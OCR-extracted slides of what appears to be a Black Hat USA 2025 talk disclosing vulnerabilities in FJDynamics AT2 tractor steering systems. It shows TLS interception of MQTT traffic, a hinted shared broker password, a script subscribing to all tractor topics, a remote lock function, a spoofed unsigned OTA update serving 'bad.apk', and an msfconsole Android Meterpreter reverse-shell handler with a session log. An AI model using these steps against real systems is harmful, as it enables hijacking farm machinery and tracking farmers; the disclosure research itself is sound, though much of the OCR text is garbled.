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Tracking the Tractors

Analyzing Smart Farming Automation Systems

#BHUSA @BlackHatEvents
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Digitalization in Farming

GPS-Guided Farm Machinery
Digital Field Records/Yield Maps
Farm Management Systems
Sensor Technology

Variable Rate Technology (VTR)
Milking/barn Robots

Predictive Maintenance
Feeding Automation
Drones/Aerial Systems
Artificial Intelligence

Field Robots
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Research and attacks on smart farming

Ransomware attack on farmer kills cow and her
calf

A ransomware attack has taken the life of a cow and its calf in Switzerland after a
Auf X ansehen farmer’s systems were breached by threat actors.

:, NoName @
i eminatemutator @ ——a 8 ﬂ Daniel Croft - Fri, 16 Aug 2024 - CULTURE

Sick.Codes &
@sickcodes - Folgen

Playing Doom on a John Deere tractor display
(jailbroken/rooted) at @defcon

A cow and a calf were both killed as a result of

the attack, which prevented small farmer Vital
Bircher from Hagendorn, Switzerland, from

HaCking the Farm . checking the vitals of his animals.
Bre aklng Badly Into Bircher first noticed problems with his milking
Agri cultural systems when he wasn't receiving data on his cows

being milked. He was then informed by the
DeVl ces. manufacturer of his milking systems that a
ransomware attack had taken place, in which his

4
DEF CON 30 ICK @ % data had been compromised, and threat actors
o ' . were demanding $10,000.

#BHUSA @BlackHatEvents
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FJD AT2 Steering System

- Smart steering wheel with powerful motor

- Tablet for user interaction, control and
cloud connection

- RTK/ GPS antenna for precise tracking

FJDynamics FJD AT2 Lenksyste EUR 6.399
AKTION

FJDynamics AT2 MAX EUR 7.199

YE -

FJD AT2 MAX _| L FJD) namics FJD AT2 Max

as performante RTK-Lenksystem - smarte

ynamics

RTK-LENKSYSTEM

#BHUSA @BlackHatEvents
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Different Models in Europe

Sveaverken F100 / F200 Navmopo AT1 / AT2

#BHUSA @BlackHatEvents
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%%

GPS+RTK

BLUETOOTH
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Intercepting and Decrypting MQTT Broker Connections

=3 “u "B — |
ADAG® B RARRB BRev Y EE 000 EHBE
N tcp.stream eq 32|
Mo. Time Source Destination Protocol Length Info
48847 G660.6472689.. cdlgil L3817, TCP 74 34602 - BBB3 [SYN] Seq=8 Win=65535 Len=0 MS55=1460 SACK_PERM TSval=4294B98197 TSecr=6 W5=64
48851 G660 .69280928.. . . 5 cdlaals TCP 66 8883 - 34602 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MS55=1460 SACK_PERM WS=512
48852 G660.6944 9.1.7.1E . 3,177 . 9¢ TCP 9 34602 . BBE3 [ACK] Seq=1 Ack=1 Win=B7616 Len=8
48855 Jle. 1, : . 2 E
48856 3. 7472854,
48857 . 7499897 .. cdlgal
48858 3. 2.16.1.1.1€ .13B.177. 53¢ TCP ) 34682 - BBB3 [ACK] Seq=168 Ack=1461 Win=98568 Len=8
48859 0. 7598330, J10.1.1 . 1€ .13B.177. 93¢ TCP ) 34682 - BBB3 [ACK] Seq=168 Ack=1714 Win=93448 Len=8
488660 2.79080249..J16.1.1 . 1€ .138.177. 9 TLSW1. . : Certificate, Client Key Exchange, Certificate Verify, Change Cipher Spec, Encrypted Handshake Message
48862 3. ) .138.177. 9! cdboaloalls TCP 4 BEE2 - 34602 [ACK] Seq=1714 Ack=1833 wWin=5
48863 0.83 : .138.177.9¢ T 1 TLSW. ; A5 Change Cipher Spec, Encrypted Hands
48864 3., B8 B 1 e g e . S Lfl . = T InUS S o0 S CR —ef—1u3s ACR=1
48865 8493 . 18.1.1.1€ .138.177. 9 TLSW1. . 73 Application Data
48866 .1826403... .138.177. B! L1.1.1E TLSW1. . 7 Application Data
48867 1851654, o 8 B LA3B.177T . 9 TCP ) 34682 - BBB3 [ACK] Seq=1152 Ack=1798 Win=93448 Len=8
48868 .1161836.. 1.1.1E .13B.177. 93¢ TLSv1.: 204 Application Data
48877 1633148.. L13B. 177 . O 16.1.1.18 TLSv1.: 10 Application Data
48878 . 47 . .1.1.1E 51.13B.177.9! TLSV1. : 485 Application Data, Application Data
48880 2 - L13B.177. 9 16.1.1.1€ TLSW1. Application Data
48881 41886.. L13B.177. 9 16.1.1.1€ TLSW1. y application Data
48882 .2375960.. 16.1.1.1€ 51.13B.177.9¢ TCP ) 34682 - BBB3 [ACK] Sen=2653 Ack=1918 Win=93448 Len=@8
4
b Frame 48857 1767 bytes on wire (14136 bits), 1767 bytes captured (14136 bits) on interf: B8 65 f6 c3 B0 OO 16 B3 O3 @0 57 B2 B8 00 53 @3 ' J e 5.
b Ethernet II, Src: ProxmoxSerwve 50:ac:fc (bec:24:11:58:ac:fe), Dst: ItonTechnolo_2c:d5:d2 | @2 68 41 a2 6d 9d 5c 95 @a 6c 96 O9f bc c@ e? d2 ha-m-%. T
b Internet Protocol Version 4, Sre: 51.138.177.99, Dst: 168.1.1.18 ch ff 98 e@ 51 ce 76 83 2c 60 78 ff of 64 8F 2a ceeeQewe Jiw.odet
b Tranmsmission Control Protocol, Src Port: BBB2, Dst Port: 24602, Seqg: 1, Ack: 16B, Len: 17 0260 c7 20 g2 6C 729 21 66 39 Z2e d2 44 45 3e cB el 44 - «lylfg ..DK=--D
= Transport Layer Security BEY0 78 ae Ye de 10 eb 45 55 27 a@ f9 2f aa @e a4 76 pe~---EU " /.-y
= TLSv1l.2 Record Laver: Handshake Protocol: Serwer Hello BEEE B1A8 cB 2f @@ 00 @b ff 01 8@ 01 @8 88 @b 088 B2 &« S ‘a '

#BHUSA @BlackHatEvents
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Intercepting and Decrypting MQTT Broker Connections

=1 . -t nat -A PREROUTING -i eth® -p tcp --dport 8883 -j REDIRECT --to-port 8883

=) -1 0.0.0.0 -p 8883

preparing selected tests.
skipping test: certlflcate trust test with user-supplied certificate
skipping test: certificate trust test with self-signed certificate for user-supplied common name
skipping test: certificate trust test with user-supplied common name signed by user-supplied certi
skipping test: certificate trust test with www.example.com common name signed by user-supplied cer
skipping test: certificate trust test with user-supplied common name signed by user-supplied CA ce
skipping test: certificate trust test with www.example.com common name signed by user-supplied CA
skipping test: test for DTLS 1.0 protocol and EXPORT grade ciphers support
skipping test: test for DTLS protocol and LOW grade ciphers support
skipping test: test for DTLS protocol and MEDIUM grade ciphers support
skipping test: test for DTLS protocol and EXPORT grade ciphers support
skipping test: test for DTLS protocol and LOW grade ciphers support
skipping test: test for DTLS 1. 2 protocol and MEDIUM grade ciphers support
CVE-2020-0601: no CA certificate provided
skipping test: test for trusting certificate signed by private key with custom curve

= (= = =0
NNCDCD

SSL library used: OpenSSL 1.0.2u 20 Dec 2019
running test #3: certificate trust test with self-signed certificate for www.example.com
listening on 0.0.0.0:8883

#BHUSA @BlackHatEvents
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Intercepting and Decrypting MQTT Broker Connections ™"

SSL library used: OpenSSL 1.0.2u 20 Dec 2019

running test #3: certificate trust test with self-signed certificate for www.exampl
listening on 0.0.0.0:8883

connection from: 10.1.1.10:35718

SSL connection established

received data: X

disconnected

report:

test failed, client accepted fake certificate, data was intercepted
result: FAILED

test finished

running test #8: test for SSLv2 protocol support

listening on 0.0.0.0:8883

#BHUSA @BlackHatEvents



Intercepting and Decrypting MQTT Broker Connections

—_—

8883
Ncat: Version 7.95 ( https://nmap.org/ncat )

tﬂéﬁ%kdmat
USA 2025

Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fTingerprint: AB63 ED5A A7A9 2E79 AJC5 5A74 A36A DB71 5AC5 75ES8

Ncat: Listening on

[::]:8883

Ncat: Listening on 0.0.0.0:8883

Ncat: Connection from 10.1.1.10:58532.
10 58 00 06

elelolelelalele)
O0BORO10
GeeBEO20
GOeBEA30
00BO0040

4d 51 49 73

64 70 B3 c2 60 14

00 2e

6d 71 32 47 53 79 38 34 3a 46 4a 4c 51 31 37 32
32 34 36 30 38 37 36 36 5a 43 3a 31 32 33 30 37

Iﬁd 71 32 47 53 79 38 34 I

0

] /] .

[}

dl

) (]

2 &8

|.X..MQIsdp

|mg2GSy84:FILQ172|
| 24608766ZC:12307 |
| 39209546941177. .|

|mg2G5y84.

MQTT-Clientld = Product ID + Serial Number (SN) + Timestamp

MQTT-User

= Product ID ?

#BHUSA @BlackHatEvents
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Intercepting and Decrypting MQTT Broker Connections
=  MQTT Explorer Q (i1 DISCONNECT &

) T MQTT Connection mott:¥mgtt-s-ne.fjdac.com:8884/

mgtt.eclipse.org :
mqttz¥maqtt.eclipse.org: 1583/ - Name -

) matt ts Validate certificate Encryption (tls)
test.mosgquitto.org
mgitifiest. mosquittc.ong: 1883/
mqtt-ne :  Protocol Host Port
wgetifiot- -ne.fidac.com:8883/ b
S mgtt// ~  maqtt-s-ne.fidac.com 8884
mqtt new
mgttimatt-s-ne. fjdac.com:3584/

Username Password

matt tls .
mgtt:mqtt-5-ne. fjdac.com:Ba84 : mg2GSy84 B E\“

DELETE | ¢ ADVANCED B save (l)conNECT

write EPROTO 46093589712800:error:10000410:SS5L

routines:OPENSSL_internal:SSLV3 ALERT HANDSHAKE FAILURE:../../third_party/boringsslisrc/sslftls record.cc:592:55L alert number 40

#BHUSA @BlackHatEvents
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Intercepting and Decrypting MQTT Broker Connections

File Edit View Go Capture Analyze 5tatistics Telephony Wireless Tools Help

ADAG BARE Re> Y EE @00 H B

N tcp.stream eq 32

MNa. Time Source Destination Protocal Lengthk Info
48847 G6660.6472689.. 10.1.1. 1. nd LT TCP 74 34602 .. BBB3 [SYN] Seq=0 Win=65535 Len=0 M55=1460 SACK_PERM TSval=4294898197
48851 G660.6928528.. b1. 16. .18 TCP 66 BBB3 .. 34602 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MS55=1460 SACK_PERM W3=512
48852 GG660.6944860.. 10. b1. T7. 9 TCP 60 34602 - BBB3 [ACK] Seq=1 Ack=1 Win=B7616 Len=0
48855 GEEE.TO27962. 10. 51. 77 .9 TLSv1.? 221 Client Hello (SNI=iot-emg-ne.fjdac.com)
48856 GG660.7475854.. b1, .18 TCP 54 8883 - 34682 CK] Seq=1 Ack=16B Win=2568 Len=8
48857 G6GE.7499097.. 51. .18 TLSV1.2 1767 ver Hello, [Certificate) Server Key Exchange, Certificate Request, Server Hg
48858 GG660.7586642.. 10. 7. TCP =10 B2 -~ BBB3 [ACK] Seq=168 Ack=1461 Win=98560 Len=0
48859 G660.7598330.. 10. TCP 10 . BBE3 [ACK] Seg=168 Ack=1714 Win=93440 Len=0
48860 6660.7900249.. 10. TLSv1. 919 Certificate, Client Kev Exchanae. Certificate Verify. Change Cipher Spec, Encr
48862 6660.B8348020.. 51.
48863 6660.8364909. 51.

e

- i

[
[
[
£

=000 00 00 o COfSd 00O

e e f=

0

L [ad =
[ I

-
i

AT

L L3 LA

e o

o] [V I

iel LD D

= o ©
1 1

00 = - 00 00 0o 0000 el 00 00 0000

.18 TCP 54 B8B83 .. 34602 [ACK] Seq=1714 Ack=1033 Win=5632 Len=0
.18 TLSv1. 2 Change Cipher Spec, Encrypted Handshake Message

PRrRRrRRrRRrPRrRrRPRrRrPpRr S
= = [ O = =
PRRPRPRPRP R s

48864 G660.8843026... 10. 51.13 7.9 TCP 60 34602 - BBB3 [ACK] Seq=1833 Ack=1785 Win=93440 Len=8

48865 G6661.0493503.. 10.1. 51.13 7.9 TLSw1. : 73 Application Data

48866 G6661.1026403.. 51.13 .1.18 TLSw1. : B7 Application Data

48867 6661.1051654.. 10. 51.13 7.9 TCP 60 34602 - BBB3 [ACK] Seg=1152 Ack=1798 Win=93440 Len=0

48868 6661.1161836.. 18.1. 51.13 T7. 5 TLSw1.: 2804 Application Data

48877 6661.1633148.. 51.13 16.1.7.18 TLSw1. ; B9 Application Data

488vV8 6661.1764768.. 10.1. 51.13 T7. 5 TLSw1. | 1485 Application Data, Application Data

48880 G6661.2348345.. 51.13 106. .18 TLSw1. : B7 Application Data

48881 6661 41886.. 51.13 . D 16.1.1.18 TLSw1. : 98 Application Data

48882 G6661.2375800.. 10.1.1.18 51.13 7.9 TCP 60 34682 - BBB3 [ACK] Seq=2653 Ack=1918 Win=93440 Len=8
p Frame 488B60: 918 hytes on wire (7352 bits), 919 bytes captured (7352 bits) on interface ¢ 85 b4 6a cB 90 08 16 B3 03 02 51 @b B0 02 4d Q0 % EER
# Ethernet II, Src: ItonTechnolo_2c:d5:d2 (10:a5:62:2c:d5:d2), Dst! ProxmoxServe 5@:ac:fec | B2 4a B8 B2 47 30 B2 B2 43 360 B2 @1 ac 02 B9 @0 +J- - GE
» Internet Protocol Version 4, Src: 18.1.1.1@, Dst: 51.138.177.99 a5 G6e 18 1c 6a 55 5d 9f 30 ©d 06 89 2a BE 48 BE ‘n--ju]
b Transmission Control Protocal, Src Port: 34602, Dst Port: B883, Seq: 168, Ack: 1714, Len: f7 6d 81 61 @b 05 66 30 7b 31 Gb 30 B9 66 O3 55 ' '

#BHUSA @BlackHatEvents
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Intercepting and Decrypting MQTT Broker Connections ™"

F Frida 17.0.7 - A world-class dynamic instrumentation toolkit
O
> Commands:
¢ (Il help -> Displays the help system
. object? -> Display information about 'object'

exit/quit -= Exit
More info at https://frida.re/docs/home/

.. Connected to 10.1.1.10:12345 (id=socket@l®.1.1.10:12345)
spawning “com.fj.smartkit ...
spawned “com.fj.smartkit . Resuming main thread!
Remote::com.fj.smartkit ]-> [+] CertificateFactory.getlInstance: X.509

+] KeyStore.setkKeyEntry: private-key

47 PRIVATE KEY in keystore (first 32 bytes hex): 30

~_. PRIVATE KEY in keystore (basebd4): MII

+] KeyManagerFactory.init called

'] KeyManagerFactory initialized with keystore type: BKS
+] S5LContext.getInstance: TLSv1.2

#BHUSA @BlackHatEvents



=  MQTT Explorer Q  search...

¥ iot-emg-ne.fjdac.com
¥
Y sys
¥ mg2GSy84
¥ default
¥ FILQ17223C11557ZC
¥ event
workLog = {"data":{"axonSWF":0.0, "backwardintegral”:0,"baseDirect”:81.87
networkStatus = {"data":{"baselineDistance™:18561.78838353029,"createTi
vehicleParam = {"data":{"accuracyCompensationStatus":1,"angMidErr:0.0,
¥ properties
report = {"properties"{"deviceLockStatus":0, "workProgress™: 1. "workStatus™:

Intercepting and Decrypting MQTT Broker Connections

DISCONMNECT & .

Topic & B ~
! ! ! ! !
/

value B ~
— Qo5: 0
= 07/18/2025 10:19:50

AM

~ "forwa ’-:I*'teé ral": 1,

~ "gpsWorkStatus": 4,

o~ "imuErrorRate": 0,

o~ "imuSupplyVoltage": 655.35,

~ "1muType": 1,

~ "imuUpdateTo": @,

o~ "inputVoltage": 0.85,

o~ "internalSupplyVoltage": 655.35,

~ "lat": 5 .

o "lng": & .

~ "locationTo": 8,

~ "mainAntennaVoltage": 1.98,

» History

blgc’:k hat
USA 2025
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Topics on the MQTT Broker

= Most common structure:

/sys/<PRODUCT_ID>/default/<SN>/< >
event/vehicleParam Basic info about the vehicle (e.g. wheel width, turning radius, ...)
event/workLog Current Work Status ( )

function/invoke Invokes different functions directly on the tractor via MQTT broker

#BHUSA @BlackHatEvents
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MQTT - The broken Broker

InuErrorRate”: 6,
Legacy Broker jjj—j:j:—:jj—jﬁg}':;”v";‘-t-ﬂ-zE' 63 New Broker
- User: n1904 (tablet name) i R E - ,Bring your own password"
"internalSupplyVoltage":
"lat” L - Is the password for the

"locationTo": ®, device unique or do they all
NdlﬁH1t?1Hd?U1tdgE :
P have the same password?

T1tiModeSn™: "Z4

- Password: 2 Chars + 2020 ;-)

#BHUSA @BlackHatEvents



blé.c’:k hat

MQTT Broker

Test only with impersonate impersonate impersonate
our device an invalid a valid ALL tractors?
credentials tractor? ok. tractor? ok. ok?!?!

#BHUSA @BlackHatEvents
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= MQTT Explorer Q, search... (11 DISCONNECT &

¥ iot-emqg-ne.fjdac.com
¥
¥ Sys
p oLpOnkbo (111 topics, 848 messages)
b ulesPOJI (63 topics, 767 messages)
- VRUTjWhC (23 topics, 23 messages)
b gw0SN9wh (87 topics, 1047 messages)
- p91XHQgD (23 topics, 23 messages)
p- akiSUOWS (24 topics, 24 messages)
- NKFWLJYS (G2 topics, 69 messages)
- nrusPOIli (261 topics, 7729 messages)
- mo2GSy84 (653 topics, 18747 messages)
b 3YOAAMHZ (47 topics, 827 messages)
p- 40D4kmKS (230 topics, 6605 messages)
p 0EOTLHSN (70 topics, 1113 messages)
- gaJmF924 (216 topics, 4813 messages)
- KxhOksLW (287 topics, 2800 messages)
b ipKB8OYDE (6 topics, 157 messages)
peyL8gYkh (44 topics, 1413 messages)
p JX7LxalR (8 topics, 234 messages)
p- 0b54HTGE (2 topics, 220 messages)
- 9kBRtdbl (262 topics, 4796 messages)
- YRGMArWT (2 topics, 74 messages)
- kHOZxn6E (20 topics, 534 messages)
p XxXTIHFYC (2 topics, 73 messages)
p dwxRAHrO (1 topic, 15 messages)
- YIOIKKY (1 topic, 134 messages)
p JRUKrp3U (6 topics, 218 messages)
b 9g9WEYyXy (34 topics, 440 messages)

e lAIAIRIEDRM 21 tonidece AAT1 maccanaesy

#BHUSA @BlackHatEvents



Tractor Kraken

blg’ck hat
USA 2025

= Problem: Way too many MQTT brokers (US, EU, CN, RU) & way too many messages

= Custom tooling needed to handle all this data -> “Tractor Kraken”

@ kraken.py

def

High performance Python App that handles 100k MQTT messages per second

Developed to analyze the incoming MQTT data

Implemented tracking of movement of tractors (e.g. did the tractor move?)

Automated analysis and web frontend

start_mgtt_client_v2(server):
logger.info("Connecting to V2 MQTT broker: %s", server)
rnd = __import__ ('os').urandom(1l).hex()
mqtt_client = mgtt.Client(client_id=CLIENT_ID V2+rnd)
mqtt_client.username_pw_set (USERNAME_V2, PASSWORD_V2)
cert_file, key file = create_cert_files()
try:
mgtt_client.tls_set(ca_certs=None, certfile=cert_file, keyfile=key file,
cert_reqs=ss1.CERT_NONE, tls_version=ssl.PROTOCOL_TLS)
mgtt_client.tls_insecure_set(True)
mqtt_client.on_connect = on_connect_v2
mqtt_client.on_message = on_message_merged
mgtt_client.connect(server, MQTT_PORT, MQTT_KEEPALIVE_INTERVAL)
mqtt_client.loop_start()

@ kraken.py

def on_connect_v2(client, userdata, flags, rc):
if rc == O:
logger.info("Connected to V2 MQTT Broker: %s", client. host)
client.subscribe("/#")
else:
logger.error("Failed to connect to broker %s result code %d", client._host, rc)

is_position_topic = (
msg.topic in ['fjiot/data/vehicle', 'fjiot/data/work', 'fjiot/data/highFrewWork’, 'fjiot/data/highFrevehicle'] or
re.match(r'sys/[~/]+/[*/]1+/[A-Z8-9]+/thing/event/work/post"', msg.topic) or
re.match(r'sys/[~/]+/[*/]+/[A-28-9]+/event/work', msg.topic) [or "bodyPosition" in msg.topic or
("event/work" in msg.topic and "workRealtime" not in msg.topic and "workStatistics" not in msg.topic)

#BHUSA @BlackHatEvents
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Send data Get all data
i ~ to MQTT-Broker via MQTT wildcard

@'_@ \
-
N
M\ [\ /\\
s ] > n
y,

©—e ©—
§
Jﬁr >
1O ©-6 )
L .
©—e
-

— Tractor Kraken
Tractors in use

#BHUSA @BlackHatEvents
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Analysis of the data

- Atotal of ~46k systems were seen (out of approx. 60K)
> 60% of Systems are operated in Asia
33% of all systems in the EU (15k)

- About 335 Systems in the US (about 1%)

Asia Europe B North America

Africa South America Oceania

#BHUSA @BlackHatEvents



Impact of the data

Based on GPS positions
« Home of farmers
« Movement profiles

« Land ownership
Tractor IP addresses (cellular uplink)
Some Email addresses from users

Data from other FJD products

WEEKLY

FARMERS

Philip Case

01 June 2023

More in

( crime ) |‘/ News )
NS AN J

Recommended

Business Clinic: Are tractors
insured if keys left in?

blgc’:k hat
USA 2025

Digital Editions Learning Classified Property Jobs Awards Farmo Advertise

LATEST KNOW HOW MARKETS DISCOVER WEATHER

Gangs using drones as spring sees surge in
tractor GPS theft

Two men run across Robert Redman's farmyard carrying stolen GPS kit © Robert Redman

Police are asking farmers to stay vigilant, review security measures and report any suspicious
activity following a surge in the theft of high-value global positioning systems (GPS) this spring.

#BHUSA @BlackHatEvents
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Tractors found in the US
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Do not use on public roads

Safety Instructions
Betore using this system, make sure that you have read the user manual and keep In mind

the following safety requirements:
(1) Operators must hold the licenses as required by local laws, including but not limited to

driving licenses.
(2) Do not drive under the influence of alcohol or when you are tired

(3) Drive in an open field far from the crowd and vehicles to avoid personal mjunes or
property damages. ,

{4) Do not get on or off the vehicle during an operation
(5) Stay in the vehicle and monitor the whole operatlon process to ensure tnmely -

intervention.
(6) Ensure that this system is shut down before driving the vehicle to a public area

S— Bt T R

| Understand

G e T Al O, i S Dl e b T Al e T

#BHUSA @BlackHatEvents
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Tractors found 20 kilometers from front line (Ukraine) ™

20.03

Distance, Km
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Possible indication of GPS Jamming near front line
(Ukraine)
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Sending commands to the tractors

= Function call from broker to tractors via MQTT Topic:

= Two function calls enabled per default
- "“Lock” and “Send notification”
- After lock the devices no longer work, but manual steering is still possible
- Can lock any system world-wide

- Only vendor can unlock devices

public void lockDevice(final String str, final String str2) {
08.d.b(TAG, "WEITTEEIENHS");
this.isLock = true;

uploadProperty(trus);

LockManager.sendLockCmd(new LockManager.SendLockCallback() { // from class: com.fj.smartkit.net.mgtt.z
@override // com.fj.smartkit.manager.lLockManager.SendLockCallback

public final void onComplete(boolean z18) {

| MyMgttManager.this.lambda$lockDevice$5(str, str2, z18);
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Next Step: Taking the wheel

HMI: Android Tablet only launches the FJDynamics app 2 DP B

- Kiosk Modus -> Kiosk Escape found ¢ About device

aZ2_n1904

Activation of Android Dev Tools possible

- Command Execution via ADB Legal information
= OS Version is very outdated SIM status

- Old Android version with many vulnerabilities otavalanie
- Need root access for further research el & hardware

IMEI

86516/0646219/3

Android version
9
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Attack Paths

Execution of
EID Cloud MitM of the Cloud malicious code Takeover of the
Connection on the HMI Steering Wheel

RCE via Bluetooth

Physical Access

#BHUSA @BlackHatEvents
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Over the air (OTA) update feature

Original response

Jl
]

Pretty ET Hex

" d?;: :: -E940:3:3:5::5:?6029394945,
. "s1lentDownloadFlag" :"o",
= For some reason, lacks all the security ‘autolporadeFlag’ 0",
"upgradePrompt" :"V25.103.1.28 UPDATE",
"upgradePromptlist": [
features " langran3,
. . "langCode":"en",
- Plain HTTP-Connection, no Usage of TLS | Tprompe25.103.1.28 LPOATE!
], : - e
- No signatures, just MD5 a sum SR SO
"bindUpgradeFlag":"@",

= APKS can be Insta”ed from dlfferent "U?gradeFileList":[

"'FileTag" :"MOTORZ2",
Sou rces "‘FileNo":"2.1.1..10:5:", .
"fileName":"S-dj-24V- 1904- 20250414-v2.1.1.108.bin" |
"f1lePath":
"https://ota-ne- 1304943718, cos. eu-frankfurt.mygcloud. com/1otPaas,/ 1744973391306/ 5- d] - 24V- 1904- 20250414 vz
.1.1.188.b1in",
"$1leMdS" :"dafde77aacaB318e 2332080953530 ",
"fileSize":32220

» Leads to unauthenticated Remote Code e —

nfilema":"1.1.13.10",

EXGCUtIOn (RCE) Vla Man |n the Mlddle ;i:g:;nﬁ5|JL41ﬁ04L0L5041—11110|1n

"https://ota-ne- 1304843718 .cos.eu-frankfurt.mygecloud. com/io0tPaas/ 1748876163143/5- d] - 24V- 1904- 20250418- v1
.1.13.10.b1n",

"f1leMds" :"e0289cf8b4007302ad372368418a8afab",

"fi1leSize":32204

-
-

"fileTag":"IMUL",

"f1leMo":"3.0.0.79",

"fileMame":"AT2 IMU V3.0.0.79 D2503201750.bin",
"fi1lePath":

#BHUSA @BlackHatEvents



|:m§E§h(rua¢‘

11 USA 2025
12 (1

13 U lees® ol

14 "1d": 1940338876029304945,

15 "s1lentDownloadFLag":"1",

16 "autoUpgradeFlag":"1",

17 "upgradePrompt":"Totally Mot A Virus, Trust Me...I'm a Dolphin w2",
18 "upgradePromptlList": [

19 il

20 "langId": 3,

=l "langCode" :"en",

S "prompt":"Totally Mot A Virus, Trust Me...I'm a Dolphin O0OOOOO"
23 Ji

24 1,

i "yersionMo" :"4232 - BH USA Edition",

26 "upgradePackageType": 0,

27 "bindUpgradeFlag":"aQ",

25 "upgradeFilelList" : [

25 il

20 "f1leTag" :"APP",

31 "f1leNo":"25.103.1.28",

37 "f1leMame" :"bad.apk",

33 "filepath":"http:ffl@.1.1.1:8@@@;bad.apk"4

=t "f1leMds" i "a59]13cedbAc2e65318c87 AT edEsf 811",

35 "T1leSize" 110229

36 Ji

37 ]

ag| I,

20 Negdel -0,
a0 1] msgu . iﬂﬁz_ﬁih | n
41|}
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Upgrade tips

Version. V4232 - BH USA Edition

New version detected. Do you want to upgrade?

25.103.1.28 10.0KB

Updatelllustrate:
Totally Not A Virus, Trust Me...I'm a Dolphin 4949

X Cancel v/ Upgrade

#BHUSA @BlackHatEvents



~/badapk ) msfconsole -q -x “"use multi/handler;

set payload

[*] Using configured payload generic/shell reverse tcp

payload == android/meterpreter/reverse tcp
lhost == eth@
lport == 1234

[#] Started reverse TCP handler on 10.1.1.1:1234

18.1.1.1 - - [07/Jul/2025 15:21:41] "GET /bad.apk HTTP/1.1"
16.1.1.1 - - [07/Jul/2025 15:24:08] "GET /bad.apk HTTP/1.1"
16.1.1.1 - - [07/Jul/2025 15:24:15] "GET /bad.apk HTTP/1.1"
18.1.1.1 - - [@7/Jul/20825 15:24:19] "GET /bad.apk HTTP/1.1"
[#] Sending stage (72424 bytes) to 10.1.1.180

[*]

meterpreter =
meterpreter =
meterpreter = check root
[+] Device is rooted
meterpreter = 5y51nT0

Computer : localhost

05 : Android 9 - Linux 4.9.1132 (armv7l)
Architecture : armv7l

System Language : en US

Meterpreter o dalvik/android

android/meterpreter/reverse tcp; set lhost ethe;

200

200
200
200

Meterpreter session 1 opened (10.1.1.1:1234 -> 10.1.1.10:60588) at 2025-07-07 15:24:40 +0200

I:hgagl(l1zrf
USA 2025

set lport 1234; exploit"
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The steering system in detail

/Commands via ttyS3
—Position—> Android Tablet I T
T C— () ——Motor Control—» @V

—Drive Motor—» Steering Wheel
'\ /
/ Feedback
IMU Sensor ——Orientatior

Tablet - User Interface & Route Planning

ECU - Electronic Control Unit (brain of the system) - GD32F450ZK
IMU - Inertial Measurement Unit (orientation sensor)
MCU - Microcontroller Unit (motor controller)

#BHUSA @BlackHatEvents
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\T2 ECU 103.0.4.12 D25032710089.bin txt

R L FM

Bl- X

undefined

undefined4
byte #
undeftinedl
ushort

Q2008cad
BE008cas
QE008casd
Q2008caa
QE008cac
D2008cae
0e008ch2
pE00scha

DB8008chE

08008cha
pe0oschb
Bpe0osche
(eP={elef=Tof o]
pE008che
peoogchf
QE008cch
08008ccl

EE008cc2
QE008ccE
QE008ccs
QE00BCcco
QE00Bcce
08008cd2

(s]¢]
ca
dc
ad
12
al
o0&
1d

df

@4
23
&
33
39
44
43
B]]

42
10
()
22
18
(s]¢]

bS
7b
28
28
dd
fl aa 02
2a
d8

eg 02 fo

6 c8 30
21
2 00 00
45
fo 39 fd
bd

A o o o o o o o o oo b b o o o o o o o ol o oo o o o o o o o o o o o o oo b o

*

FUNCTION ©

e e o o o o o oo o o o e o o o o e o o o o o ok o o o e ok o o o o o o o o e ok o o o o ok o o o ook
undefined  stdcall fun_packet handler(undefined4 param_...

il
ri: d
rl:4d

<RETURN=
param_no_idea whats that
packet buffer

HASH: 5f547a0... packet_cmd
HASH: 5f9fGae... packet len
fun_packet_handler

push
ldrb
ldrh
cmp
ble
sub . w
cmp
bhi

{rd,r5,r7.1r}
param_no_ldea whats that, [packet buffer,#0xf]
rd, [packet_buffer,#0x2]

param_no_idea whats_that,#0xa%

LAB 08008cd4
r2,param_no_idea whats that,#0xaa

r2,#0x6

swltchD 00008chE: :casel 7

switchD 0000Bch&: :switchD

tbb

[pc, r2]

swltchD 00008chG: :switchdataD 00008cha

db
db
db
db
db
db
db

??

switchD 00008ch6: :caseD aa

movw
adds
maovt
mov
b1

pop

4h

2Ah
B0h
33h
35h
44h
4Ah
00h

XREF([1] : g
param_no_ldea whats that,#0x2bcB

packet buffer,#0x10

param_no_ldea whats_that=>DAT 20002bc8, #0x2000
rz, rd

fun_cmd_heartrequest

{rd. r5.r7. pct

1
2
3
4
)
5]
7
g

$)

blackhat
USA 2025
dler - (N1904 AT2 ECU W103.0.4.12 D2503271009.bir
vold fun_packet_handler(undefined4 param_no_idea_whats_that,byte *packet_buf-
i
byte bVarl;
undefined2 uVarz;
ushort packet len:
bvarl = packet _buffer[0xf];
uVar2 = *(undefined2 *) (packet buffer + 2);

if (bvarl < Oxaa) {

if (bVarl == 0x55)
fun_cmd exec (&DAT 20002968, packet buffer + 0x10,uVar2);
return;

Iy

if (bVarl == 0x56)
fun_cmd_set param(&DAT 2000c328, packet buffer + 0x10,uVarz);
return;

I7

if (bVarl == 0x57)

return;
I7
I
else {
switch(bvarl) f
case Oxaa:
return;
case Oxab:
fun_cmd_configrequest (EDAT 20003212, packet _buffer + 0x10,uVar2);
return;
case Oxac:
break;
case Oxad:
fun_cmd waypoint_configipacket buffer + 0x10,uVarz);
return;
case Oxae:
fun_cmd_curvel (packet_buffer + 0x10,uVar2);
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Protocol Command Reference

Hex Decimal  Command Description  Handler Function
0x55 85 cxeeution FUN_0001710c
0x56 86 Parameter setting FUN_000247c0
Ox57 87 Heartbeat FUN_00019fc4
Oxaa 170 Version requests  FUN_00021744
Oxab 171 Config requests FUN_00014df8
Oxad 173 Waypoint config FUN_00005fa8
Oxae 174 fvg;vpeé -eading EyN_00006698
Oxaf 175 Multi curve FUN_000066¢c0
Oxb0 176 Double speed way FUN_0002a140
Oxff 255 Light show FUN_00016e20

tﬂéﬁ%k]mat

USA 2025
Packet Analysis
B S BB o 0 0 0 0 e oo oo [ [
(11 ff 13 20 Jsa J 2c o2 oo oo floo fao Joallas Jloaoc Joof oo
(00 floo Jlas Jeo fl 2c o2 oo Joofloo flos JocfsofleaocJoof oo

E F2 9B eD eA

GEEL e
@xEC @x91 (Version 2)

Data Length
33 bytes (@x21)

Sequence
115 (ex73)

Send Time
OxX00 OxP0 OxPE OxOE0 OxOE OxPe Oxee Bexee

Cache Byte
@ (Not Cached)

Command

OxAD (-83) - Waypoint Configuration
